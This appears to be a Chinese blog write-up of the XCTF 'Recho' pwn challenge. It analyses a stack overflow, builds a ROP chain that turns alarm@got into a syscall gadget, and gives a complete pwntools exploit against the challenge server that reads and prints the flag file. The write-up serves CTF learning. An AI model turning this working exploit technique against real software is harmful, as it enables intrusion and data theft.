XCTF-CHALLENGE-Recho

checksec

hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec Recho
[*] '/home/hunter/PWN/XCTF/xctf_challenge/Recho'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
基本操作

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char nptr; // [rsp+0h] [rbp-40h]
  char buf[40]; // [rsp+10h] [rbp-30h]
  int v6; // [rsp+38h] [rbp-8h]
  int v7; // [rsp+3Ch] [rbp-4h]

  Init();  
  write(1, "Welcome to Recho server!\n", 0x19uLL);
  while ( read(0, &nptr, 0x10uLL) > 0 )
  {
    v7 = atoi(&nptr);
    if ( v7 <= 15 )
      v7 = 16;
    v6 = read(0, buf, v7);
    buf[v6] = 0;
    printf("%s", buf);
  }
  return 0;
}

init():
unsigned int Init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return alarm(0x3Cu);
}

程序逻辑:

  • 输入一定大小的数字
  • 按输入的数字大小再次读入对应长度的字符串
    • 显然这里存在溢出
  • 输出字符串以此
  • 循环
    可利用字符串:
    LOAD:0000000000400238    0000001C    C    /lib64/ld-linux-x86-64.so.2
    LOAD:00000000004003E9    0000000A    C    libc.so.6
    LOAD:00000000004003F3    00000006    C    stdin
    LOAD:00000000004003F9    00000007    C    printf
    LOAD:0000000000400400    00000005    C    read
    LOAD:0000000000400405    00000007    C    stdout
    LOAD:000000000040040C    00000007    C    stderr
    LOAD:0000000000400413    00000006    C    alarm
    LOAD:0000000000400419    00000005    C    atoi
    LOAD:000000000040041E    00000008    C    setvbuf
    LOAD:0000000000400426    00000012    C    __libc_start_main
    LOAD:0000000000400438    00000006    C    write
    LOAD:000000000040043E    0000000F    C    __gmon_start__
    LOAD:000000000040044D    0000000C    C    GLIBC_2.2.5
    .rodata:00000000004008C4    0000001A    C    Welcome to Recho server!\n
    .eh_frame:0000000000400987    00000006    C    ;*3$\"
    .data:0000000000601058    00000005    C    flag
    没有system,/bin/sh,后门,但是有个flag字符串

分析

  • 栈溢出漏洞很明显,但是想利用它来控制程序流程得先想办法如何跳出while循环。
  • read函数的返回值时其读入字节的数量(包括换行’\x0a’),所以这个东西很头疼。但是pwntools提供了一个shutdown功能,可以关闭输入流,也就是说不进行输入那么read的返回值自然就是0了
  • 但是关闭之后就不能再打开了,就算你再次跳到start或者main。也无法再进行输入
  • 所以我们的payload只能用一次,而且这一次还要能把flag获取

    思路

  • 注意到可利用字符串中包含flag,我们可以构造open函数打开flag文件
  • 再用read函数从flag流中读取数据,最后用printf或者write函数输出

    系统调用

所以现在得想办法进行函数无中生有,且无法利用libc文件。那么这就要用到函数的ROP链构造了,看看gadgets够不够还有关键的int 80h。

hunter@hunter:~/PWN/XCTF/xctf_challenge$ ROPgadget --binary Recho --only "pop|ret"
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x00000000004006fc : pop rax ; ret   <=====
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret   <=====
0x00000000004006fe : pop rdx ; ret   <=====
0x00000000004008a1 : pop rsi ; pop r15 ; ret   <====
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b6 : ret
hunter@hunter:~/PWN/XCTF/xctf_challenge$ ROPgadget --binary Recho --only "int"Gadgets information
============================================================

Unique gadgets found: 0

还不错,存放系统调用号的rax,以及三个参数RDI,RSI,RDX都有对应的独立gadgets。但是关键的int 80h却没有,这就很烦~~
但是除了int 80h 咱们还有syscall,这个也是系统调用最后进行中断处理的指令和int 80h差不多。并且这个再系统调用中更为常见。比如,在本例我们随便深入一个函数:

0x7ffff7af4147 <__GI___libc_write+7>:    mov    eax,DWORD PTR [rax]
   0x7ffff7af4149 <__GI___libc_write+9>:    test   eax,eax
=> 0x7ffff7af414b <__GI___libc_write+11>:    
    jne    0x7ffff7af4160 <__GI___libc_write+32>
   0x7ffff7af414d <__GI___libc_write+13>:    mov    eax,0x1
   0x7ffff7af4152 <__GI___libc_write+18>:    syscall    <============
   0x7ffff7af4154 <__GI___libc_write+20>:    cmp    rax,0xfffffffffffff000
   0x7ffff7af415a <__GI___libc_write+26>:    
    ja     0x7ffff7af41b0 <__GI___libc_write+112>

我们可以看到在libc中要调用write函数时,把write的系统调用号放入eax,然后执行syscll指令,就像int 80h一样。
但是如果成功利用了某个函数中的syscall那么程序也会继续执行下去可能会发生意料之外的结果,所以我们要选择作用不是很大的函数如这里有alarm。设置闹钟

alarm@plt

   0x4005e0 <printf@plt>:    jmp    QWORD PTR [rip+0x200a3a]        # 0x601020
   0x4005e6 <printf@plt+6>:    push   0x1
   0x4005eb <printf@plt+11>:    jmp    0x4005c0
=> 0x4005f0 <alarm@plt>:    jmp    QWORD PTR [rip+0x200a32]        # 0x601028
 | 0x4005f6 <alarm@plt+6>:    push   0x2
 | 0x4005fb <alarm@plt+11>:    jmp    0x4005c0
 | 0x400600 <read@plt>:    jmp    QWORD PTR [rip+0x200a2a]        # 0x601030
 | 0x400606 <read@plt+6>:    push   0x3
 |->   0x4005f6 <alarm@plt+6>:    push   0x2
       0x4005fb <alarm@plt+11>:    jmp    0x4005c0
       0x400600 <read@plt>:    jmp    QWORD PTR [rip+0x200a2a]        # 0x601030
       0x400606 <read@plt+6>:    push   0x3
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf8 --> 0x40078e (<Init+104>:    nop)
0008| 0x7fffffffde00 --> 0x7fffffffde50 --> 0x400840 (<__libc_csu_init>:    push   r15)
0016| 0x7fffffffde08 --> 0x4007a3 (<main+18>:    mov    edx,0x19)
0024| 0x7fffffffde10 --> 0x1 
0032| 0x7fffffffde18 --> 0x40088d (<__libc_csu_init+77>:    add    rbx,0x1)
0040| 0x7fffffffde20 --> 0x7ffff7de59a0 (<_dl_fini>:    push   rbp)
0048| 0x7fffffffde28 --> 0x0 
0056| 0x7fffffffde30 --> 0x400840 (<__libc_csu_init>:    push   r15)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004005f0 in alarm@plt ()
gdb-peda$ 
发现其got表地址为0x601028,此时其got表中还没有alarm真正的地址

所以我们继续执行

=> 0x7ffff7ac8840 <alarm>:    mov    eax,0x25
   0x7ffff7ac8845 <alarm+5>:    syscall 
   0x7ffff7ac8847 <alarm+7>:    cmp    rax,0xfffffffffffff001
   0x7ffff7ac884d <alarm+13>:    jae    0x7ffff7ac8850 <alarm+16>
   0x7ffff7ac884f <alarm+15>:    ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf8 --> 0x40078e (<Init+104>:    nop)
0008| 0x7fffffffde00 --> 0x7fffffffde50 --> 0x400840 (<__libc_csu_init>:    push   r15)
0016| 0x7fffffffde08 --> 0x4007a3 (<main+18>:    mov    edx,0x19)
0024| 0x7fffffffde10 --> 0x1 
0032| 0x7fffffffde18 --> 0x40088d (<__libc_csu_init+77>:    add    rbx,0x1)
0040| 0x7fffffffde20 --> 0x7ffff7de59a0 (<_dl_fini>:    push   rbp)
0048| 0x7fffffffde28 --> 0x0 
0056| 0x7fffffffde30 --> 0x400840 (<__libc_csu_init>:    push   r15)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
alarm () at ../sysdeps/unix/syscall-template.S:78
78    ../sysdeps/unix/syscall-template.S: 没有那个文件或目录.
gdb-peda$ 

我们执行王dl_resolve和dl_fixup后就来到了alarm函数真正的地址。可以看到在alarm偏移量为5的地方就是syscall。
我们可以利用gadgets来修改alarm的got表。这里理应放入0x7ffff7ac8840 我们可以让它+5,然后调用alarm函数i就是直接调用syscall,而且此函数副作用很小调用完后还能返回。所以就能被我们改造成一个syscall_ret的gadget

ROP艺术–修改alarm@got

因为要使got里面的真实地址+5所以看看有没有add_Retgadgets

hunter@hunter:~/PWN/XCTF/xctf_challenge$ ROPgadget --binary Recho --only "add|ret"
Gadgets information
============================================================
0x00000000004008af : add bl, dh ; ret
0x00000000004008ad : add byte ptr [rax], al ; add bl, dh ; ret    
0x00000000004008ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004008ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400830 : add byte ptr [rax], al ; add cl, cl ; ret
0x00000000004008ae : add byte ptr [rax], al ; ret
0x00000000004006f8 : add byte ptr [rcx], al ; ret   <======
0x000000000040070d : add byte ptr [rdi], al ; ret    <=======
0x0000000000400832 : add cl, cl ; ret
0x00000000004006f4 : add eax, 0x20098e ; add ebx, esi ; ret
0x000000000040070a : add eax, 0x70093eb ; ret
0x00000000004006f9 : add ebx, esi ; ret
0x00000000004005b3 : add esp, 8 ; ret
0x00000000004005b2 : add rsp, 8 ; ret
0x00000000004005b6 : ret

因为al可以用pop_rax_ret来控制,所以这里很多gadgets都是可以利用的,这里我选用add byte ptr [rdi], al ; ret

payload = p64(pop_rax_ret) + p64(5)
payload += p64(pop_rdi_ret) + p64(alarm_got)  
payload += p64(add_rdi_al_ret)  //这里[]是取rdi里面的东西作为地址,就是刚好对应取got地址里面的值(真实地址)与al进行add操作
这样我们就得到了syscall_ret这样一个伪gadget即alarm_plt(为啥不是alarm_got)

ROP艺术–函数无中生有

open无中生有~~

#构造fp = open('flag',READONLY)  //open的返回值一般用fp取代
payload = p64(pop_rdi_ret) + p64(elf.search('flag').next())
payload += p64(pp_rsi_r15_ret) + p64(0) + p64(0)  //0代表只读
payload += p64(pop_rax_ret) + p64(2)   //open系统调用号为2
#syscall_ret
payload += p64(alarm_plt)
#构造read(fp,bss_stage,100))  //用bss段来保存获取的信息流,然后用打印函数打印即可
payload = p64(pop_rdi_ret) + p64(3)  //01表示分别表示标准输入,标准输出,一般其他文件流从3开始或45,具体我们可以通过gdb调试修改
payload += p64(pp_rsi_r15_ret) + p64(bss_stage) + p64(0)
payload += p64(pop_rdx_ret) + p64(100)
payload += p64(read_plt)
#构造printf(bss_stage)
payload = p64(pop_rdi_ret) + p64(bss_stage)
payload += p64(printf_plt)

EXP

from pwn import*
context.log_level = 'debug'

#sh = process('./Recho')
sh = remote('220.249.52.133',47787)
elf = ELF('./Recho')
pop_rdi_ret = 0x00000000004008a3
pp_rsi_r15_ret = 0x00000000004008a1
pop_rdx_ret = 0x00000000004006fe
pop_rax_ret = 0x00000000004006fc
add_rdi_ret = 0x000000000040070d

bss_stage = elf.bss()+0x200

alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']

sh.recv()

sh.sendline('400') //保证能够把payload完整输入
payload = 'A'*0x38  //从IDA很容易看出溢出点
#change the GOT of alarm into syscall_addr
payload += p64(pop_rdi_ret) + p64(alarm_got)
payload += p64(pop_rax_ret) + p64(0x5)
payload += p64(add_rdi_ret)
#fd = open('flag',readonly)
payload += p64(pop_rdi_ret) + p64(elf.search('flag').next())
payload += p64(pp_rsi_r15_ret) + p64(0) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(alarm_plt)  #syscall_ret
#read(fd,bss_stage,100)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pp_rsi_r15_ret) + p64(bss_stage) + p64(0)
payload += p64(pop_rdx_ret) + p64(100)
payload += p64(read_plt)
#using printf to print bss_stage
payload += p64(pop_rdi_ret) + p64(bss_stage)
payload += p64(printf_plt)

payload = payload.ljust(400,'\x00') //#这步也关键,尽量使字符串长,这样才能将我们的 payload 全部输进去,不然可能因为会有缓 存的问题导致覆盖不完整
sh.sendline(payload)
#gdb.attach(sh)
sh.shutdown()  //送出payload后关闭输入流即可退出while循环ret到我们的rop链上

sh.interactive()

结果:

[*] Switching to interactive mode
[DEBUG] Received 0x2a bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  90 01                     │AAAA│AAAA│··│
    0000002a
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90[DEBUG] Received 0x2d bytes:
    'cyberpeace{98de696c1dba243594ce86109c32492f}\n'
cyberpeace{98de696c1dba243594ce86109c32492f}
[*] Closed connection to 220.249.52.133 port 47787
[*] Got EOF while reading in interactive
$  
直接输出flag流

MASS

  • 在不同的libc文件中各函数可能偏移量有所不同,但是函数的实现一般是一样的所以函数内部偏移一般不变,就像这里alarm函数的sys call位置
  • 既然有了syscall为啥不构造system:因为没有现成的/bin/sh,所以必然要进行两次输入,第一次输入payload第二次输入/bin/sh,但是输入了payload后就进行shutdown了,关闭了输入流。

32位系统调用常用

%eax Name Source %ebx %ecx %edx %esx %edi
1 sys_exit kernel/exit.c int - - - -
2 sys_fork arch/i386/kernel/process.c struct pt_regs - - - -
3 sys_read fs/read_write.c unsigned int char * size_t - -
4 sys_write fs/read_write.c unsigned int const char * size_t - -
5 sys_open fs/open.c const char * int int - -
11 sys_execve arch/i386/kernel/process.c struct pt_regs NULL NULL - -

64位系统调用常用

%rax System call %rdi %rsi %rdx %r10 %r8 %r9
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf size_t count
2 sys_open const char *filename int flags int mode
59 sys_execve const char *filename const char *const argv[] const char *const envp[]
60 sys_exit int error_code

用alarm_got代替alarm_plt

一句话:调试是检验真理的唯一标准
在使用alarm_plt作为ret对象时:

   0x4006f3 <__do_global_dtors_aux+19>:    
    mov    BYTE PTR [rip+0x20098e],0x1        # 0x601088 <completed.6963>
   0x4006fa <__do_global_dtors_aux+26>:    repz ret 
   0x4006fc <__do_global_dtors_aux+28>:    pop    rax
=> 0x4006fd <__do_global_dtors_aux+29>:    ret    
   0x4006fe <__do_global_dtors_aux+30>:    pop    rdx
   0x4006ff <__do_global_dtors_aux+31>:    ret    
   0x400700 <frame_dummy>:    mov    edi,0x600e18
   0x400705 <frame_dummy+5>:    cmp    QWORD PTR [rdi],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7ffee8e13628 --> 0x4005f0 (<alarm@plt>:    )
0008| 0x7ffee8e13630 --> 0x4008a3 (<__libc_csu_init+99>:    pop    rdi)
0016| 0x7ffee8e13638 --> 0x3 
0024| 0x7ffee8e13640 --> 0x4008a1 (<__libc_csu_init+97>:    pop    rsi)
0032| 0x7ffee8e13648 --> 0x601260 --> 0x0 
0040| 0x7ffee8e13650 --> 0x0 
0048| 0x7ffee8e13658 --> 0x4006fe (<__do_global_dtors_aux+30>:    pop    rdx)
0056| 0x7ffee8e13660 --> 0x64 ('d')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006fd in __do_global_dtors_aux ()
gdb-peda$ 

ni

=> 0x4005f0 <alarm@plt>:    jmp    QWORD PTR [rip+0x200a32]        # 0x601028
 | 0x4005f6 <alarm@plt+6>:    push   0x2
 | 0x4005fb <alarm@plt+11>:    jmp    0x4005c0
 | 0x400600 <read@plt>:    jmp    QWORD PTR [rip+0x200a2a]        # 0x601030
 | 0x400606 <read@plt+6>:    push   0x3
 |->   0x7f8b0f452845 <alarm+5>:    syscall 
       0x7f8b0f452847 <alarm+7>:    cmp    rax,0xfffffffffffff001
       0x7f8b0f45284d <alarm+13>:    jae    0x7f8b0f452850 <alarm+16>
       0x7f8b0f45284f <alarm+15>:    ret
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7ffee8e13630 --> 0x4008a3 (<__libc_csu_init+99>:    pop    rdi)
0008| 0x7ffee8e13638 --> 0x3 
0016| 0x7ffee8e13640 --> 0x4008a1 (<__libc_csu_init+97>:    pop    rsi)
0024| 0x7ffee8e13648 --> 0x601260 --> 0x0 
0032| 0x7ffee8e13650 --> 0x0 
0040| 0x7ffee8e13658 --> 0x4006fe (<__do_global_dtors_aux+30>:    pop    rdx)
0048| 0x7ffee8e13660 --> 0x64 ('d')
0056| 0x7ffee8e13668 --> 0x400600 (<read@plt>:    jmp    QWORD PTR [rip+0x200a2a]        # 0x601030)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004005f0 in alarm@plt ()
gdb-peda$ 

这里的plt使用了[],就可以取0x601030表地址上的值作为jmp目标

在使用alarm_plt作为ret对象时:

=> 0x4006fd <__do_global_dtors_aux+29>:    ret    
   0x4006fe <__do_global_dtors_aux+30>:    pop    rdx
   0x4006ff <__do_global_dtors_aux+31>:    ret    
   0x400700 <frame_dummy>:    mov    edi,0x600e18
   0x400705 <frame_dummy+5>:    cmp    QWORD PTR [rdi],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7ffcc4e60548 --> 0x601028 --> 0x7fdc88808845 (<alarm+5>:    syscall)
0008| 0x7ffcc4e60550 --> 0x4008a3 (<__libc_csu_init+99>:    pop    rdi)
0016| 0x7ffcc4e60558 --> 0x3 
0024| 0x7ffcc4e60560 --> 0x4008a1 (<__libc_csu_init+97>:    pop    rsi)
0032| 0x7ffcc4e60568 --> 0x601260 --> 0x0 
0040| 0x7ffcc4e60570 --> 0x0 
0048| 0x7ffcc4e60578 --> 0x4006fe (<__do_global_dtors_aux+30>:    pop    rdx)
0056| 0x7ffcc4e60580 --> 0x64 ('d')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006fd in __do_global_dtors_aux ()
gdb-peda$ 

ni

RDI: 0x601058 --> 0x67616c66 ('flag')
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffcc4e60550 --> 0x4008a3 (<__libc_csu_init+99>:    pop    rdi)
RIP: 0x601028 --> 0x7fdc88808845 (<alarm+5>:    syscall)
R8 : 0x7fdc88d224c0 (0x00007fdc88d224c0)
R9 : 0x0 
R10: 0x0 
R11: 0x246 
R12: 0x400630 (<_start>:    xor    ebp,ebp)
R13: 0x7ffcc4e605c0 --> 0x0 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x601028:    mov    BYTE PTR [r8+0x7fdc88],r8b
   0x60102f:    add    BYTE PTR [rax+0x40],dh
   0x601032:    or     DWORD PTR [rax+0x7fdc],0xfffffff0
   0x601039:    push   rdx
[------------------------------------stack-------------------------------------]
0000| 0x7ffcc4e60550 --> 0x4008a3 (<__libc_csu_init+99>:    pop    rdi)
0008| 0x7ffcc4e60558 --> 0x3 
0016| 0x7ffcc4e60560 --> 0x4008a1 (<__libc_csu_init+97>:    pop    rsi)
0024| 0x7ffcc4e60568 --> 0x601260 --> 0x0 
0032| 0x7ffcc4e60570 --> 0x0 
0040| 0x7ffcc4e60578 --> 0x4006fe (<__do_global_dtors_aux+30>:    pop    rdx)
0048| 0x7ffcc4e60580 --> 0x64 ('d')
0056| 0x7ffcc4e60588 --> 0x400600 (<read@plt>:    jmp    QWORD PTR [rip+0x200a2a]        # 0x601030)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000601028 in _GLOBAL_OFFSET_TABLE_ ()

这里就直接将got表地址当作ret目标,而不是地址上的值(真正的地址)

参考资料:https://adworld.xctf.org.cn/media/uploads/writeup/4b6e244402fe11ea9f5700163e004e93.pdf


  转载请注明: Squarer XCTF-CHALLENGE-Recho

 上一篇
8月国赛-babymessage--one_gadget 8月国赛-babymessage--one_gadget
checksechunter@hunter:~/PWN/国赛$ checksec babymessage [*] '/home/hunter/PWN/\xe5\x9b\xbd\xe8\xb5\x9b/babymessage' Arc
2020-09-01
下一篇 
PIE绕过-vsyscall PIE绕过-vsyscall
前面我学习了一种pie绕过方法,然而那种方法有很大的局限性(没那么简单的题~),今天我又学到了一种方法——-vsyscall 测试使用cat /proc/self/maps指令 来查看当前的函数库,堆栈的地址(我的aslr开启)第一次: 0
2020-08-29
  目录